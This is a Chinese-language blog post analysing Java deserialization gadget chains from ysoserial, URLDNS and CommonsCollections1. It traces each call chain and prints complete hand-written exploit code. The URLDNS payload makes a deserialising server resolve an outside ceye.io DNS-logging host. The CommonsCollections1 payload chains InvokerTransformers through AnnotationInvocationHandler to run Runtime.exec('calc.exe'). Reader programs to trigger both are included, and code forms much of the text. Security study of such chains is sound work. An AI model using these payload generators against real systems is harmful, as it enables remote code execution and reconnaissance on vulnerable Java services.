java反序列化-ysoserial-调试分析总结篇(1)
前言:
ysoserial很强大,花时间好好研究研究其中的利用链对于了解java语言的一些特性很有帮助,也方便打好学习java安全的基础,刚学反序列化时就分析过commoncollections,但是是跟着网上教程,自己理解也不够充分,现在重新根据自己的调试进行理解,这篇文章先分析URLDNS和commonCollections1
利用链分析:
1.urldns
调用链如上图所示,由hashmap的key进行hash计算时,如果key为URL类的对象,则调用key.hashcode实际为调用了URL类对象的hashcode,从而触发dns解析,这个手写exp也比较容易,设置hashCode为1为了putval时候重新计算hash,否则直接返回hashCode就触发不了dns解析了
到这里将触发调用URL类的hashCode
exp.java:
package URLDNS; import java.io.*; import java.lang.reflect.Field; import java.net.URL; import java.util.Arrays; import java.util.HashMap; public class URLDNS { public static void main(String[] args) throws IOException, ClassNotFoundException, NoSuchFieldException, IllegalAccessException { HashMap<URL, String> obj = new HashMap<URL, String>(); String url = "http://p9tdlo.ceye.io"; URL a_url = new URL(url); Class clazz = Class.forName("java.net.URL"); Field field = null; field = clazz.getDeclaredField("hashCode"); field.setAccessible(true); //field.set(a_url,-1); 放在这里有问题,具体问题自己debug obj.put(a_url,"tr1ple");
field.set(a_url,-1); // //序列化 // FileOutputStream fo = new FileOutputStream(System.getProperty("user.dir")+"/javasec-ysoserial/src/main/resources/urldns.ser"); ObjectOutputStream obj_out = new ObjectOutputStream(fo); obj_out.writeObject(obj); obj_out.close(); ByteArrayOutputStream bo = new ByteArrayOutputStream(); ObjectOutputStream bo_obj = new ObjectOutputStream(bo); bo_obj.writeObject(obj); bo_obj.close(); String bo_str = Arrays.toString(bo.toByteArray()); System.out.println("serialize byte code"); System.out.println(bo_str); } }
read.java
package URLDNS; import java.io.FileInputStream; import java.io.IOException; import java.io.ObjectInputStream; public class ReadObj { public static void main(String[] args) throws IOException, ClassNotFoundException { // System.out.println(System.getProperty("user.dir")+"/javasec-ysoserial/src/resources/4.ser"); ObjectInputStream o = new ObjectInputStream(new FileInputStream(System.getProperty("user.dir")+"/javasec-ysoserial/src/resources/urldns.ser")); o.readObject(); } }
2.commonCollections1
调用链如上图所示
反序列化首先从invokecationhandler的readObject开始
然后调用lazymap的readObject
这里是因为构造payload的时候,实际上将proxy.newinstance创建的proxy代理类传进handler,那么实际上反序列化的时候根据序列化数据的排列顺序,应该首先调用外层invokecationhandler的readObject,然后调用内部成员变量的readObject
原因正是在反序列化正常的流程中,defaultReadFields方法,读取序列化数据,其入口参数即外部的对象,以及该对象的类
在该函数内部将读取外层对象的域,并依次将其反序列化,所以这里实际上invocationhandler只是一个容器作用,将实际要反序列化的代理proxy放进去,然后就会调用proxy的readObject(),然后恢复代理的lazpmap,包括后面还要进行hashmap的readObject(lazymap作为容器将其装进去),恢复hashmap
将所有对象还原后,在invokecationhandler的readObject中将调用memerValues.entrySet,而我们知道被装进容器的是被代理的lazymap类,此时调用proxy代理的entrySet,那么此时将触发代理类的invoke函数
此时将handler中不存在entryset,此时将调用lazymap.get(“entrySet”)
在get函数中将调用this.factory.transform,而此时this.factory为定义的用于执行命令的转换链
在chained转换链中,将循环调用属性iTranformers中的transformer方法
第一次:
第一次调用ConstantTransformer类,将直接返回iConstant
而此时即返回类Runtime
第二次:
第二次循环进来即调用invokeTransformer来反射调用方法,并且返回object,并且这里面的方法名,和参数都是可控的,因此才能够在这里定义rce的命令,能够找到这种能够利用的类真的是牛逼。。
那么反射先拿到java.lang.class ,按道理拿到类Runtime,就可以直接反射getRunme方法,这里拿到getMethod方法,然后再反射调用Runtime的getMethod拿到getRuntime方法
第三次:
这里实际上就是反射调用getRuntime了,此时将返回Runtime类的实例
第4轮:
此时已经有了Runtime类的实例,就可以调用exec执行命令了
此时将RCE执行clac.exe
了解完整个触发以及调用过程就可以手写exp了,方便加深对该利用链的认识
手写exp:
exp.java
package CommonsCollections1; import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.functors.InvokerTransformer; import java.io.*; import java.lang.Runtime; import java.lang.reflect.Constructor; import java.lang.reflect.InvocationTargetException; import java.util.HashMap; //import sun.reflect.annotation.AnnotationInvocationHandler; import java.util.Map; import org.apache.commons.collections.map.LazyMap; import java.lang.reflect.Proxy; import java.lang.reflect.InvocationHandler; public class exp { public static void main(String[] args) throws ClassNotFoundException, NoSuchMethodException, IllegalAccessException, InvocationTargetException, InstantiationException, IOException { final Transformer[] trans = new Transformer[]{ new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[]{String.class,Class[].class}, new Object[]{"getRuntime",new Class[0]} ),//拿到getruntime方法 new InvokerTransformer("invoke", new Class[]{Object.class,Object[].class}, new Object[]{null,new Object[0]}),//拿到runtime类 new InvokerTransformer("exec", new Class[]{String.class}, new String[]{"calc.exe"})//rce }; final Transformer chained = new ChainedTransformer(trans); final Map innerMap = new HashMap(); final Map outMap = LazyMap.decorate(innerMap,chained); final Constructor<?> han_con = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler").getDeclaredConstructors()[0]; han_con.setAccessible(true); InvocationHandler han = (InvocationHandler) han_con.newInstance(Override.class,outMap); final Map mapProxy = (Map)Proxy.newProxyInstance(exp.class.getClassLoader(),outMap.getClass().getInterfaces(),han); final Constructor<?> out_con = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler").getDeclaredConstructors()[0]; out_con.setAccessible(true); InvocationHandler out =(InvocationHandler) out_con.newInstance(Override.class,mapProxy); FileOutputStream fo = new FileOutputStream(new File(System.getProperty("user.dir")+"/javasec-ysoserial/src/main/resources/commoncollections1.ser")); ObjectOutputStream obj = new ObjectOutputStream(fo); obj.writeObject(out); obj.close(); } }
readObj.java
package CommonsCollections1; import java.io.File; import java.io.FileInputStream; import java.io.IOException; import java.io.ObjectInputStream; import java.lang.Runtime; //jdk<=8u71 // public class readObj { public static void main(String[] args) throws IOException { FileInputStream fi = new FileInputStream(System.getProperty("user.dir")+"/javasec-ysoserial/src/main/resources/commoncollections1.ser"); ObjectInputStream obj_in = new ObjectInputStream(fi); try { obj_in.readObject(); } catch (ClassNotFoundException e) { e.printStackTrace(); } } }